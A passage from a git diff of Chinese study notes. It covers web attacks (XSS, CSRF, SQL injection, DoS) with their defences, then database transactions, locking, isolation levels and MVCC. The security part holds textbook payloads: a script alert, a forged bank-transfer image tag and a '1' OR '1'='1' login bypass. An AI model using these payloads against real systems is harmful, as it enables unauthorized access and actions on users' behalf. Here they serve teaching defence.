 <p>123</p>
 
 &lt;form&gt;
-  &lt;input type="text" name="q" value="test"&gt;
+  &lt;input type="text" name="q" value="test"&gt;
 &lt;/form&gt;
 
 <pre>hello</pre>
 
-&lt;script type="text/javascript"&gt;
+&lt;script type="text/javascript"&gt;
 alert(/xss/);
 &lt;/script&gt;
 ```
 
-> [XSS 过滤在线测试](http://jsxss.com/zh/try.html)
+> [XSS 过滤在线测试](http://jsxss.com/zh/try.html)
 
-# 二、跨站请求伪造
+# 二、跨站请求伪造
 
-## 概念
+## 概念
 
-跨站请求伪造（Cross-site request forgery，CSRF），是攻击者通过一些技术手段欺骗用户的浏览器去访问一个自己曾经认证过的网站并执行一些操作（如发邮件，发消息，甚至财产操作如转账和购买商品）。由于浏览器曾经认证过，所以被访问的网站会认为是真正的用户操作而去执行。
+跨站请求伪造（Cross-site request forgery，CSRF），是攻击者通过一些技术手段欺骗用户的浏览器去访问一个自己曾经认证过的网站并执行一些操作（如发邮件，发消息，甚至财产操作如转账和购买商品）。由于浏览器曾经认证过，所以被访问的网站会认为是真正的用户操作而去执行。
 
-XSS 利用的是用户对指定网站的信任，CSRF 利用的是网站对用户浏览器的信任。
+XSS 利用的是用户对指定网站的信任，CSRF 利用的是网站对用户浏览器的信任。
 
-## 攻击原理
+## 攻击原理
 
-假如一家银行用以执行转账操作的 URL 地址如下：
+假如一家银行用以执行转账操作的 URL 地址如下：
 
 ```
 http://www.examplebank.com/withdraw?account=AccoutName&amount=1000&for=PayeeName。
@@ -95,90 +105,90 @@ http://www.examplebank.com/withdraw?account=AccoutName&amount=1000&for=PayeeName
 那么，一个恶意攻击者可以在另一个网站上放置如下代码：
 
 ```
-<img src="http://www.examplebank.com/withdraw?account=Alice&amount=1000&for=Badman">。
+<img src="http://www.examplebank.com/withdraw?account=Alice&amount=1000&for=Badman">。
 ```
 
-如果有账户名为 Alice 的用户访问了恶意站点，而她之前刚访问过银行不久，登录信息尚未过期，那么她就会损失 1000 美元。
+如果有账户名为 Alice 的用户访问了恶意站点，而她之前刚访问过银行不久，登录信息尚未过期，那么她就会损失 1000 美元。
 
 这种恶意的网址可以有很多种形式，藏身于网页中的许多地方。此外，攻击者也不需要控制放置恶意网址的网站。例如他可以将这种地址藏在论坛，博客等任何用户生成内容的网站中。这意味着如果服务器端没有合适的防御措施的话，用户即使访问熟悉的可信网站也有受攻击的危险。
 
-通过例子能够看出，攻击者并不能通过 CSRF 攻击来直接获取用户的账户控制权，也不能直接窃取用户的任何信息。他们能做到的，是欺骗用户浏览器，让其以用户的名义执行操作。
+通过例子能够看出，攻击者并不能通过 CSRF 攻击来直接获取用户的账户控制权，也不能直接窃取用户的任何信息。他们能做到的，是欺骗用户浏览器，让其以用户的名义执行操作。
 
-## 防范手段
+## 防范手段
 
-### 1. 检查 Referer 首部字段
+### 1. 检查 Referer 首部字段
 
-Referer 首部字段位于 HTTP 报文中，用于标识请求来源的地址。检查这个首部字段并要求请求来源的地址在同一个域名下，可以极大的防止 CSRF 攻击。
+Referer 首部字段位于 HTTP 报文中，用于标识请求来源的地址。检查这个首部字段并要求请求来源的地址在同一个域名下，可以极大的防止 CSRF 攻击。
 
-这种办法简单易行，工作量低，仅需要在关键访问处增加一步校验。但这种办法也有其局限性，因其完全依赖浏览器发送正确的 Referer 字段。虽然 HTTP 协议对此字段的内容有明确的规定，但并无法保证来访的浏览器的具体实现，亦无法保证浏览器没有安全漏洞影响到此字段。并且也存在攻击者攻击某些浏览器，篡改其 Referer 字段的可能。
+这种办法简单易行，工作量低，仅需要在关键访问处增加一步校验。但这种办法也有其局限性，因其完全依赖浏览器发送正确的 Referer 字段。虽然 HTTP 协议对此字段的内容有明确的规定，但并无法保证来访的浏览器的具体实现，亦无法保证浏览器没有安全漏洞影响到此字段。并且也存在攻击者攻击某些浏览器，篡改其 Referer 字段的可能。
 
-### 2. 添加校验 Token
+### 2. 添加校验 Token
 
-在访问敏感数据请求时，要求用户浏览器提供不保存在 Cookie 中，并且攻击者无法伪造的数据作为校验。例如服务器生成随机数并附加在表单中，并要求客户端传回这个随机数。
+在访问敏感数据请求时，要求用户浏览器提供不保存在 Cookie 中，并且攻击者无法伪造的数据作为校验。例如服务器生成随机数并附加在表单中，并要求客户端传回这个随机数。
 
-### 3. 输入验证码
+### 3. 输入验证码
 
-因为 CSRF 攻击是在用户无意识的情况下发生的，所以要求用户输入验证码可以让用户知道自己正在做的操作。
+因为 CSRF 攻击是在用户无意识的情况下发生的，所以要求用户输入验证码可以让用户知道自己正在做的操作。
 
-# 三、SQL 注入攻击
+# 三、SQL 注入攻击
 
-## 概念
+## 概念
 
-服务器上的数据库运行非法的 SQL 语句，主要通过拼接来完成。
+服务器上的数据库运行非法的 SQL 语句，主要通过拼接来完成。
 
-## 攻击原理
+## 攻击原理
 
-例如一个网站登录验证的 SQL 查询代码为：
+例如一个网站登录验证的 SQL 查询代码为：
 
 ```sql
-strSQL = "SELECT * FROM users WHERE (name = '" + userName + "') and (pw = '"+ passWord +"');"
+strSQL = "SELECT * FROM users WHERE (name = '" + userName + "') and (pw = '"+ passWord +"');"
 ```
 
 如果填入以下内容：
 
 ```sql
-userName = "1' OR '1'='1";
-passWord = "1' OR '1'='1";
+userName = "1' OR '1'='1";
+passWord = "1' OR '1'='1";
 ```
 
-那么 SQL 查询字符串为：
+那么 SQL 查询字符串为：
 
 ```sql
-strSQL = "SELECT * FROM users WHERE (name = '1' OR '1'='1') and (pw = '1' OR '1'='1');"
+strSQL = "SELECT * FROM users WHERE (name = '1' OR '1'='1') and (pw = '1' OR '1'='1');"
 ```
 
 此时无需验证通过就能执行以下查询：
 
 ```sql
-strSQL = "SELECT * FROM users;"
+strSQL = "SELECT * FROM users;"
 ```
 
-## 防范手段
+## 防范手段
 
-### 1. 使用参数化查询
+### 1. 使用参数化查询
 
-Java 中的 PreparedStatement 是预先编译的 SQL 语句，可以传入适当参数并且多次执行。由于没有拼接的过程，因此可以防止 SQL 注入的发生。
+Java 中的 PreparedStatement 是预先编译的 SQL 语句，可以传入适当参数并且多次执行。由于没有拼接的过程，因此可以防止 SQL 注入的发生。
 
 ```java
-PreparedStatement stmt = connection.prepareStatement("SELECT * FROM users WHERE userid=? AND password=?");
-stmt.setString(1, userid);
-stmt.setString(2, password);
-ResultSet rs = stmt.executeQuery();
+PreparedStatement stmt = connection.prepareStatement("SELECT * FROM users WHERE userid=? AND password=?");
+stmt.setString(1, userid);
+stmt.setString(2, password);
+ResultSet rs = stmt.executeQuery();
 ```
 
-### 2. 单引号转换
+### 2. 单引号转换
 
-将传入的参数中的单引号转换为连续两个单引号，PHP 中的 Magic quote 可以完成这个功能。
+将传入的参数中的单引号转换为连续两个单引号，PHP 中的 Magic quote 可以完成这个功能。
 
-# 四、拒绝服务攻击
+# 四、拒绝服务攻击
 
-拒绝服务攻击（denial-of-service attack，DoS），亦称洪水攻击，其目的在于使目标电脑的网络或系统资源耗尽，使服务暂时中断或停止，导致其正常用户无法访问。
+拒绝服务攻击（denial-of-service attack，DoS），亦称洪水攻击，其目的在于使目标电脑的网络或系统资源耗尽，使服务暂时中断或停止，导致其正常用户无法访问。
 
-分布式拒绝服务攻击（distributed denial-of-service attack，DDoS），指攻击者使用两个或以上被攻陷的电脑作为“僵尸”向特定的目标发动“拒绝服务”式攻击。
+分布式拒绝服务攻击（distributed denial-of-service attack，DDoS），指攻击者使用两个或以上被攻陷的电脑作为“僵尸”向特定的目标发动“拒绝服务”式攻击。
 
-# 参考资料
+# 参考资料
 
-- [维基百科：跨站脚本](https://zh.wikipedia.org/wiki/%E8%B7%A8%E7%B6%B2%E7%AB%99%E6%8C%87%E4%BB%A4%E7%A2%BC)
-- [维基百科：SQL 注入攻击](https://zh.wikipedia.org/wiki/SQL%E8%B3%87%E6%96%99%E9%9A%B1%E7%A2%BC%E6%94%BB%E6%93%8A)
-- [维基百科：跨站点请求伪造](https://zh.wikipedia.org/wiki/%E8%B7%A8%E7%AB%99%E8%AF%B7%E6%B1%82%E4%BC%AA%E9%80%A0)
-- [维基百科：拒绝服务攻击](https://zh.wikipedia.org/wiki/%E9%98%BB%E6%96%B7%E6%9C%8D%E5%8B%99%E6%94%BB%E6%93%8A)
+- [维基百科：跨站脚本](https://zh.wikipedia.org/wiki/%E8%B7%A8%E7%B6%B2%E7%AB%99%E6%8C%87%E4%BB%A4%E7%A2%BC)
+- [维基百科：SQL 注入攻击](https://zh.wikipedia.org/wiki/SQL%E8%B3%87%E6%96%99%E9%9A%B1%E7%A2%BC%E6%94%BB%E6%93%8A)
+- [维基百科：跨站点请求伪造](https://zh.wikipedia.org/wiki/%E8%B7%A8%E7%AB%99%E8%AF%B7%E6%B1%82%E4%BC%AA%E9%80%A0)
+- [维基百科：拒绝服务攻击](https://zh.wikipedia.org/wiki/%E9%98%BB%E6%96%B7%E6%9C%8D%E5%8B%99%E6%94%BB%E6%93%8A)
diff --git a/docs/notes/数据库系统原理.md b/docs/notes/数据库系统原理.md
index 8e6310c7..9b64c774 100644
--- a/docs/notes/数据库系统原理.md
+++ b/docs/notes/数据库系统原理.md
@@ -1,28 +1,72 @@
-# 一、事务
+[🎉 面试进阶指南已上线](https://xiaozhuanlan.com/CyC2018)
+<!-- GFM-TOC -->
+* [一、事务](#一事务)
+    * [概念](#概念)
+    * [ACID](#acid)
+    * [AUTOCOMMIT](#autocommit)
+* [二、并发一致性问题](#二并发一致性问题)
+    * [丢失修改](#丢失修改)
+    * [读脏数据](#读脏数据)
+    * [不可重复读](#不可重复读)
+    * [幻影读](#幻影读)
+* [三、封锁](#三封锁)
+    * [封锁粒度](#封锁粒度)
+    * [封锁类型](#封锁类型)
+    * [封锁协议](#封锁协议)
+    * [MySQL 隐式与显示锁定](#mysql-隐式与显示锁定)
+* [四、隔离级别](#四隔离级别)
+    * [未提交读（READ UNCOMMITTED）](#未提交读read-uncommitted)
+    * [提交读（READ COMMITTED）](#提交读read-committed)
+    * [可重复读（REPEATABLE READ）](#可重复读repeatable-read)
+    * [可串行化（SERIALIZABLE）](#可串行化serializable)
+* [五、多版本并发控制](#五多版本并发控制)
+    * [版本号](#版本号)
+    * [隐藏的列](#隐藏的列)
+    * [Undo 日志](#undo-日志)
+    * [实现过程](#实现过程)
+    * [快照读与当前读](#快照读与当前读)
+* [六、Next-Key Locks](#六next-key-locks)
+    * [Record Locks](#record-locks)
+    * [Gap Locks](#gap-locks)
+    * [Next-Key Locks](#next-key-locks)
+* [七、关系数据库设计理论](#七关系数据库设计理论)
+    * [函数依赖](#函数依赖)
+    * [异常](#异常)
+    * [范式](#范式)
+* [八、ER 图](#八er-图)
+    * [实体的三种联系](#实体的三种联系)
+    * [表示出现多次的关系](#表示出现多次的关系)
+    * [联系的多向性](#联系的多向性)
+    * [表示子类](#表示子类)
+* [参考资料](#参考资料)
+<!-- GFM-TOC -->
 
-## 概念
 
-事务指的是满足 ACID 特性的一组操作，可以通过 Commit 提交一个事务，也可以使用 Rollback 进行回滚。
+# 一、事务
 
-<img src="index_files/bae98438-7db6-41a6-893e-8813248f2f92.jpg" width="400"/>
+## 概念
 
-## ACID
+事务指的是满足 ACID 特性的一组操作，可以通过 Commit 提交一个事务，也可以使用 Rollback 进行回滚。
 
-### 1. 原子性（Atomicity）
+<div align="center"> <img src="pics/bae98438-7db6-41a6-893e-8813248f2f92.jpg" width="400"/> </div><br>
+
+## ACID
+
+### 1. 原子性（Atomicity）
 
 事务被视为不可分割的最小单元，事务的所有操作要么全部提交成功，要么全部失败回滚。
 
 回滚可以用回滚日志来实现，回滚日志记录着事务所执行的修改操作，在回滚时反向执行这些修改操作即可。
 
-### 2. 一致性（Consistency）
+### 2. 一致性（Consistency）
 
 数据库在事务执行前后都保持一致性状态。在一致性状态下，所有事务对一个数据的读取结果都是相同的。
 
-### 3. 隔离性（Isolation）
+### 3. 隔离性（Isolation）
 
 一个事务所做的修改在最终提交以前，对其它事务是不可见的。
 
-### 4. 持久性（Durability）
+### 4. 持久性（Durability）
 
 一旦事务提交，则其所做的修改将会永远保存到数据库中。即使系统发生崩溃，事务执行的结果也不能丢失。
 
@@ -30,58 +74,58 @@
 
 ----
 
-事务的 ACID 特性概念简单，但不是很好理解，主要是因为这几个特性不是一种平级关系：
+事务的 ACID 特性概念简单，但不是很好理解，主要是因为这几个特性不是一种平级关系：
 
-- 只有满足一致性，事务的执行结果才是正确的。
-- 在无并发的情况下，事务串行执行，隔离性一定能够满足。此时只要能满足原子性，就一定能满足一致性。
-- 在并发的情况下，多个事务并行执行，事务不仅要满足原子性，还需要满足隔离性，才能满足一致性。
-- 事务满足持久化是为了能应对数据库崩溃的情况。
+- 只有满足一致性，事务的执行结果才是正确的。
+- 在无并发的情况下，事务串行执行，隔离性一定能够满足。此时只要能满足原子性，就一定能满足一致性。
+- 在并发的情况下，多个事务并行执行，事务不仅要满足原子性，还需要满足隔离性，才能满足一致性。
+- 事务满足持久化是为了能应对数据库崩溃的情况。
 
-<img src="index_files/6675d713-8b59-4067-ad16-fdd538d4bb43.png" width="500"/>
+<div align="center"> <img src="pics/6675d713-8b59-4067-ad16-fdd538d4bb43.png" width="500"/> </div><br>
 
-## AUTOCOMMIT
+## AUTOCOMMIT
 
-MySQL 默认采用自动提交模式。也就是说，如果不显式使用`START TRANSACTION`语句来开始一个事务，那么每个查询都会被当做一个事务自动提交。
+MySQL 默认采用自动提交模式。也就是说，如果不显式使用`START TRANSACTION`语句来开始一个事务，那么每个查询都会被当做一个事务自动提交。
 
-# 二、并发一致性问题
+# 二、并发一致性问题
 
 在并发环境下，事务的隔离性很难保证，因此会出现很多并发一致性问题。
 
-## 丢失修改
+## 丢失修改
 
-T<sub>1</sub> 和 T<sub>2</sub> 两个事务都对一个数据进行修改，T<sub>1</sub> 先修改，T<sub>2</sub> 随后修改，T<sub>2</sub> 的修改覆盖了 T<sub>1</sub> 的修改。
+T<sub>1</sub> 和 T<sub>2</sub> 两个事务都对一个数据进行修改，T<sub>1</sub> 先修改，T<sub>2</sub> 随后修改，T<sub>2</sub> 的修改覆盖了 T<sub>1</sub> 的修改。
 
-<img src="index_files/d5dfeb74-a27a-43b8-9121-191d3cb75198.png" width="350"/>
+<div align="center"> <img src="pics/d5dfeb74-a27a-43b8-9121-191d3cb75198.png" width="350"/> </div><br>
 
-## 读脏数据
+## 读脏数据
 
-T<sub>1</sub> 修改一个数据，T<sub>2</sub> 随后读取这个数据。如果 T<sub>1</sub> 撤销了这次修改，那么 T<sub>2</sub> 读取的数据是脏数据。
+T<sub>1</sub> 修改一个数据，T<sub>2</sub> 随后读取这个数据。如果 T<sub>1</sub> 撤销了这次修改，那么 T<sub>2</sub> 读取的数据是脏数据。
 
-<img src="index_files/16eea7d2-f5f5-4180-93be-dba7d4e48f5d.png" width="400"/>
+<div align="center"> <img src="pics/16eea7d2-f5f5-4180-93be-dba7d4e48f5d.png" width="400"/> </div><br>
 
-## 不可重复读
+## 不可重复读
 
-T<sub>2</sub> 读取一个数据，T<sub>1</sub> 对该数据做了修改。如果 T<sub>2</sub> 再次读取这个数据，此时读取的结果和第一次读取的结果不同。
+T<sub>2</sub> 读取一个数据，T<sub>1</sub> 对该数据做了修改。如果 T<sub>2</sub> 再次读取这个数据，此时读取的结果和第一次读取的结果不同。
 
-<img src="index_files/036c0e07-0725-4b3c-a684-ab3b16ca7b86.png" width="400"/>
+<div align="center"> <img src="pics/036c0e07-0725-4b3c-a684-ab3b16ca7b86.png" width="400"/> </div><br>
 
 
-## 幻影读
+## 幻影读
 
-T<sub>1</sub> 读取某个范围的数据，T<sub>2</sub> 在这个范围内插入新的数据，T<sub>1</sub> 再次读取这个范围的数据，此时读取的结果和和第一次读取的结果不同。
+T<sub>1</sub> 读取某个范围的数据，T<sub>2</sub> 在这个范围内插入新的数据，T<sub>1</sub> 再次读取这个范围的数据，此时读取的结果和和第一次读取的结果不同。
 
-<img src="index_files/2c437953-08b1-47b9-a780-7dfdc90a3b6f.png" width="400"/>
+<div align="center"> <img src="pics/2c437953-08b1-47b9-a780-7dfdc90a3b6f.png" width="400"/> </div><br>
 
 
 ----
 
 产生并发不一致性问题主要原因是破坏了事务的隔离性，解决方法是通过并发控制来保证隔离性。并发控制可以通过封锁来实现，但是封锁操作需要用户自己控制，相当复杂。数据库管理系统提供了事务的隔离级别，让用户以一种更轻松的方式处理并发一致性问题。
 
-# 三、封锁
+# 三、封锁
 
-## 封锁粒度
+## 封锁粒度
 
-MySQL 中提供了两种封锁粒度：行级锁以及表级锁。
+MySQL 中提供了两种封锁粒度：行级锁以及表级锁。
 
 应该尽量只锁定需要修改的那部分数据，而不是所有的资源。锁定的数据量越少，发生锁争用的可能就越小，系统的并发程度就越高。
 
@@ -89,122 +133,122 @@ MySQL 中提供了两种封锁粒度：行级锁以及表级锁。
 
 在选择封锁粒度时，需要在锁开销和并发程度之间做一个权衡。
 
-<img src="index_files/1a851e90-0d5c-4d4f-ac54-34c20ecfb903.jpg" width="300"/>
+<div align="center"> <img src="pics/1a851e90-0d5c-4d4f-ac54-34c20ecfb903.jpg" width="300"/> </div><br>
 
-## 封锁类型
+## 封锁类型
 
-### 1. 读写锁
+### 1. 读写锁
 
-- 排它锁（Exclusive），简写为 X 锁，又称写锁。
-- 共享锁（Shared），简写为 S 锁，又称读锁。
+- 排它锁（Exclusive），简写为 X 锁，又称写锁。
+- 共享锁（Shared），简写为 S 锁，又称读锁。
 
 有以下两个规定：
 
-- 一个事务对数据对象 A 加了 X 锁，就可以对 A 进行读取和更新。加锁期间其它事务不能对 A 加任何锁。
-- 一个事务对数据对象 A 加了 S 锁，可以对 A 进行读取操作，但是不能进行更新操作。加锁期间其它事务能对 A 加 S 锁，但是不能加 X 锁。
+- 一个事务对数据对象 A 加了 X 锁，就可以对 A 进行读取和更新。加锁期间其它事务不能对 A 加任何锁。
+- 一个事务对数据对象 A 加了 S 锁，可以对 A 进行读取操作，但是不能进行更新操作。加锁期间其它事务能对 A 加 S 锁，但是不能加 X 锁。
 
 锁的兼容关系如下：
 
-| - | X | S |
-| :--: | :--: | :--: |
+| - | X | S |
+| :--: | :--: | :--: |
 |X|×|×|
 |S|×|√|
 
-### 2. 意向锁
+### 2. 意向锁
 
-使用意向锁（Intention Locks）可以更容易地支持多粒度封锁。
+使用意向锁（Intention Locks）可以更容易地支持多粒度封锁。
 
-在存在行级锁和表级锁的情况下，事务 T 想要对表 A 加 X 锁，就需要先检测是否有其它事务对表 A 或者表 A 中的任意一行加了锁，那么就需要对表 A 的每一行都检测一次，这是非常耗时的。
+在存在行级锁和表级锁的情况下，事务 T 想要对表 A 加 X 锁，就需要先检测是否有其它事务对表 A 或者表 A 中的任意一行加了锁，那么就需要对表 A 的每一行都检测一次，这是非常耗时的。
 
-意向锁在原来的 X/S 锁之上引入了 IX/IS，IX/IS 都是表锁，用来表示一个事务想要在表中的某个数据行上加 X 锁或 S 锁。有以下两个规定：
+意向锁在原来的 X/S 锁之上引入了 IX/IS，IX/IS 都是表锁，用来表示一个事务想要在表中的某个数据行上加 X 锁或 S 锁。有以下两个规定：
 
-- 一个事务在获得某个数据行对象的 S 锁之前，必须先获得表的 IS 锁或者更强的锁；
-- 一个事务在获得某个数据行对象的 X 锁之前，必须先获得表的 IX 锁。
+- 一个事务在获得某个数据行对象的 S 锁之前，必须先获得表的 IS 锁或者更强的锁；
+- 一个事务在获得某个数据行对象的 X 锁之前，必须先获得表的 IX 锁。
 
-通过引入意向锁，事务 T 想要对表 A 加 X 锁，只需要先检测是否有其它事务对表 A 加了 X/IX/S/IS 锁，如果加了就表示有其它事务正在使用这个表或者表中某一行的锁，因此事务 T 加 X 锁失败。
+通过引入意向锁，事务 T 想要对表 A 加 X 锁，只需要先检测是否有其它事务对表 A 加了 X/IX/S/IS 锁，如果加了就表示有其它事务正在使用这个表或者表中某一行的锁，因此事务 T 加 X 锁失败。
 
 各种锁的兼容关系如下：
 
-| - | X | IX | S | IS |
-| :--: | :--: | :--: | :--: | :--: |
-|X     |×    |×    |×   | ×|
-|IX    |×    |√   |×   | √|
-|S     |×    |×    |√  | √|
-|IS    |×    |√  |√  | √|
+| - | X | IX | S | IS |
+| :--: | :--: | :--: | :--: | :--: |
+|X     |×    |×    |×   | ×|
+|IX    |×    |√   |×   | √|
+|S     |×    |×    |√  | √|
+|IS    |×    |√  |√  | √|
 
 解释如下：
 
-- 任意 IS/IX 锁之间都是兼容的，因为它们只是表示想要对表加锁，而不是真正加锁；
-- S 锁只与 S 锁和 IS 锁兼容，也就是说事务 T 想要对数据行加 S 锁，其它事务可以已经获得对表或者表中的行的 S 锁。
+- 任意 IS/IX 锁之间都是兼容的，因为它们只是表示想要对表加锁，而不是真正加锁；
+- S 锁只与 S 锁和 IS 锁兼容，也就是说事务 T 想要对数据行加 S 锁，其它事务可以已经获得对表或者表中的行的 S 锁。
 
-## 封锁协议
+## 封锁协议
 
-### 1. 三级封锁协议
+### 1. 三级封锁协议
 
-**一级封锁协议**
+**一级封锁协议** 
 
-事务 T 要修改数据 A 时必须加 X 锁，直到 T 结束才释放锁。
+事务 T 要修改数据 A 时必须加 X 锁，直到 T 结束才释放锁。
 
 可以解决丢失修改问题，因为不能同时有两个事务对同一个数据进行修改，那么事务的修改就不会被覆盖。
 
-| T<sub>1</sub> | T<sub>2</sub> |
-| :--: | :--: |
-| lock-x(A) | |
-| read A=20 | |
-| | lock-x(A) |
-|  | wait |
-| write A=19 |. |
-| commit |. |
-| unlock-x(A) |. |
-| | obtain |
-| | read A=19 |
-| | write A=21 |
-| | commit |
-| | unlock-x(A)|
+| T<sub>1</sub> | T<sub>2</sub> |
+| :--: | :--: |
+| lock-x(A) | |
+| read A=20 | |
+| | lock-x(A) |
+|  | wait |
+| write A=19 |. |
+| commit |. |
+| unlock-x(A) |. |
+| | obtain |
+| | read A=19 |
+| | write A=21 |
+| | commit |
+| | unlock-x(A)|
 
-**二级封锁协议**
+**二级封锁协议** 
 
-在一级的基础上，要求读取数据 A 时必须加 S 锁，读取完马上释放 S 锁。
+在一级的基础上，要求读取数据 A 时必须加 S 锁，读取完马上释放 S 锁。
 
-可以解决读脏数据问题，因为如果一个事务在对数据 A 进行修改，根据 1 级封锁协议，会加 X 锁，那么就不能再加 S 锁了，也就是不会读入数据。
+可以解决读脏数据问题，因为如果一个事务在对数据 A 进行修改，根据 1 级封锁协议，会加 X 锁，那么就不能再加 S 锁了，也就是不会读入数据。
 
-| T<sub>1</sub> | T<sub>2</sub> |
-| :--: | :--: |
-| lock-x(A) | |
-| read A=20 | |
-| write A=19 | |
-| | lock-s(A) |
-|  | wait |
-| rollback | .|
-| A=20 |. |
-| unlock-x(A) |. |
-| | obtain |
-| | read A=20 |
-| | unlock-s(A)|
-| | commit |
+| T<sub>1</sub> | T<sub>2</sub> |
+| :--: | :--: |
+| lock-x(A) | |
+| read A=20 | |
+| write A=19 | |
+| | lock-s(A) |
+|  | wait |
+| rollback | .|
+| A=20 |. |
+| unlock-x(A) |. |
+| | obtain |
+| | read A=20 |
+| | unlock-s(A)|
+| | commit |
 
-**三级封锁协议**
+**三级封锁协议** 
 
-在二级的基础上，要求读取数据 A 时必须加 S 锁，直到事务结束了才能释放 S 锁。
+在二级的基础上，要求读取数据 A 时必须加 S 锁，直到事务结束了才能释放 S 锁。
 
-可以解决不可重复读的问题，因为读 A 时，其它事务不能对 A 加 X 锁，从而避免了在读的期间数据发生改变。
+可以解决不可重复读的问题，因为读 A 时，其它事务不能对 A 加 X 锁，从而避免了在读的期间数据发生改变。
 
-| T<sub>1</sub> | T<sub>2</sub> |
-| :--: | :--: |
-| lock-s(A) | |
-| read A=20 | |
-|  |lock-x(A) |
-| | wait |
-|  read A=20| . |
-| commit | .|
-| unlock-s(A) |. |
-| | obtain |
-| | read A=20 |
-| | write A=19|
-| | commit |
-| | unlock-X(A)|
+| T<sub>1</sub> | T<sub>2</sub> |
+| :--: | :--: |
+| lock-s(A) | |
+| read A=20 | |
+|  |lock-x(A) |
+| | wait |
+|  read A=20| . |
+| commit | .|
+| unlock-s(A) |. |
+| | obtain |
+| | read A=20 |
+| | write A=19|
+| | commit |
+| | unlock-X(A)|
 
-### 2. 两段锁协议
+### 2. 两段锁协议
 
 加锁和解锁分为两个阶段进行。
 
@@ -222,332 +266,317 @@ lock-x(A)...lock-s(B)...lock-s(C)...unlock(A)...unlock(C)...unlock(B)
 lock-x(A)...unlock(A)...lock-s(B)...unlock(B)...lock-s(C)...unlock(C)
 ```
 
-## MySQL 隐式与显示锁定
+## MySQL 隐式与显示锁定
 
-MySQL 的 InnoDB 存储引擎采用两段锁协议，会根据隔离级别在需要的时候自动加锁，并且所有的锁都是在同一时刻被释放，这被称为隐式锁定。
+MySQL 的 InnoDB 存储引擎采用两段锁协议，会根据隔离级别在需要的时候自动加锁，并且所有的锁都是在同一时刻被释放，这被称为隐式锁定。
 
-InnoDB 也可以使用特定的语句进行显示锁定：
+InnoDB 也可以使用特定的语句进行显示锁定：
 
 ```sql
-SELECT ... LOCK In SHARE MODE;
-SELECT ... FOR UPDATE;
+SELECT ... LOCK In SHARE MODE;
+SELECT ... FOR UPDATE;
 ```
 
-# 四、隔离级别
+# 四、隔离级别
 
-## 未提交读（READ UNCOMMITTED）
+## 未提交读（READ UNCOMMITTED）
 
 事务中的修改，即使没有提交，对其它事务也是可见的。
 
-## 提交读（READ COMMITTED）
+## 提交读（READ COMMITTED）
 
 一个事务只能读取已经提交的事务所做的修改。换句话说，一个事务所做的修改在提交之前对其它事务是不可见的。
 
-## 可重复读（REPEATABLE READ）
+## 可重复读（REPEATABLE READ）
 
 保证在同一个事务中多次读取同样数据的结果是一样的。
 
-## 可串行化（SERIALIZABLE）
+## 可串行化（SERIALIZABLE）
 
 强制事务串行执行。
 
 ----
 
-| 隔离级别 | 脏读 | 不可重复读 | 幻影读 | 加锁读 |
-| :---: | :---: | :---:| :---: | :---: |
-| 未提交读 | √ | √ | √ | × |
-| 提交读 | × | √ | √ | × |
-| 可重复读 | × | × | √ | × |
-| 可串行化 | × | × | × | √ |
+| 隔离级别 | 脏读 | 不可重复读 | 幻影读 | 加锁读 |
+| :---: | :---: | :---:| :---: | :---: |
+| 未提交读 | √ | √ | √ | × |
+| 提交读 | × | √ | √ | × |
+| 可重复读 | × | × | √ | × |
+| 可串行化 | × | × | × | √ |
 
-# 五、多版本并发控制
+# 五、多版本并发控制
 
-多版本并发控制（Multi-Version Concurrency Control, MVCC）是 MySQL 的 InnoDB 存储引擎实现隔离级别的一种具体方式，用于实现提交读和可重复读这两种隔离级别。而未提交读隔离级别总是读取最新的数据行，无需使用 MVCC。可串行化隔离级别需要对所有读取的行都加锁，单纯使用 MVCC 无法实现。
+多版本并发控制（Multi-Version Concurrency Control, MVCC）是 MySQL 的 InnoDB 存储引擎实现隔离级别的一种具体方式，用于实现提交读和可重复读这两种隔离级别。而未提交读隔离级别总是读取最新的数据行，无需使用 MVCC。可串行化隔离级别需要对所有读取的行都加锁，单纯使用 MVCC 无法实现。
 
-## 版本号
+## 版本号
 
-- 系统版本号：是一个递增的数字，每开始一个新的事务，系统版本号就会自动递增。
-- 事务版本号：事务开始时的系统版本号。
+- 系统版本号：是一个递增的数字，每开始一个新的事务，系统版本号就会自动递增。
+- 事务版本号：事务开始时的系统版本号。
 
-## 隐藏的列
+## 隐藏的列
 
-MVCC 在每行记录后面都保存着两个隐藏的列，用来存储两个版本号：
+MVCC 在每行记录后面都保存着两个隐藏的列，用来存储两个版本号：
 
-- 创建版本号：指示创建一个数据行的快照时的系统版本号；
-- 删除版本号：如果该快照的删除版本号大于当前事务版本号表示该快照有效，否则表示该快照已经被删除了。
+- 创建版本号：指示创建一个数据行的快照时的系统版本号；
+- 删除版本号：如果该快照的删除版本号大于当前事务版本号表示该快照有效，否则表示该快照已经被删除了。
 
-## Undo 日志
+## Undo 日志
 
-MVCC 使用到的快照存储在 Undo 日志中，该日志通过回滚指针把一个数据行（Record）的所有快照连接起来。
+MVCC 使用到的快照存储在 Undo 日志中，该日志通过回滚指针把一个数据行（Record）的所有快照连接起来。
 
-<img src="index_files/e41405a8-7c05-4f70-8092-e961e28d3112.jpg" width=""/>
+<div align="center"> <img src="pics/e41405a8-7c05-4f70-8092-e961e28d3112.jpg" width=""/> </div><br>
 
-## 实现过程
+## 实现过程
 
 以下实现过程针对可重复读隔离级别。
 
 当开始新一个事务时，该事务的版本号肯定会大于当前所有数据行快照的创建版本号，理解这一点很关键。
 
-### 1. SELECT
+### 1. SELECT
 
 多个事务必须读取到同一个数据行的快照，并且这个快照是距离现在最近的一个有效快照。但是也有例外，如果有一个事务正在修改该数据行，那么它可以读取事务本身所做的修改，而不用和其它事务的读取结果一致。
 
-把没有对一个数据行做修改的事务称为 T，T 所要读取的数据行快照的创建版本号必须小于 T 的版本号，因为如果大于或者等于 T 的版本号，那么表示该数据行快照是其它事务的最新修改，因此不能去读取它。除此之外，T 所要读取的数据行快照的删除版本号必须大于 T 的版本号，因为如果小于等于 T 的版本号，那么表示该数据行快照是已经被删除的，不应该去读取它。
+把没有对一个数据行做修改的事务称为 T，T 所要读取的数据行快照的创建版本号必须小于 T 的版本号，因为如果大于或者等于 T 的版本号，那么表示该数据行快照是其它事务的最新修改，因此不能去读取它。除此之外，T 所要读取的数据行快照的删除版本号必须大于 T 的版本号，因为如果小于等于 T 的版本号，那么表示该数据行快照是已经被删除的，不应该去读取它。
 
-### 2. INSERT
+### 2. INSERT
 
 将当前系统版本号作为数据行快照的创建版本号。
 
-### 3. DELETE
+### 3. DELETE
 
 将当前系统版本号作为数据行快照的删除版本号。
 
-### 4. UPDATE
+### 4. UPDATE
 
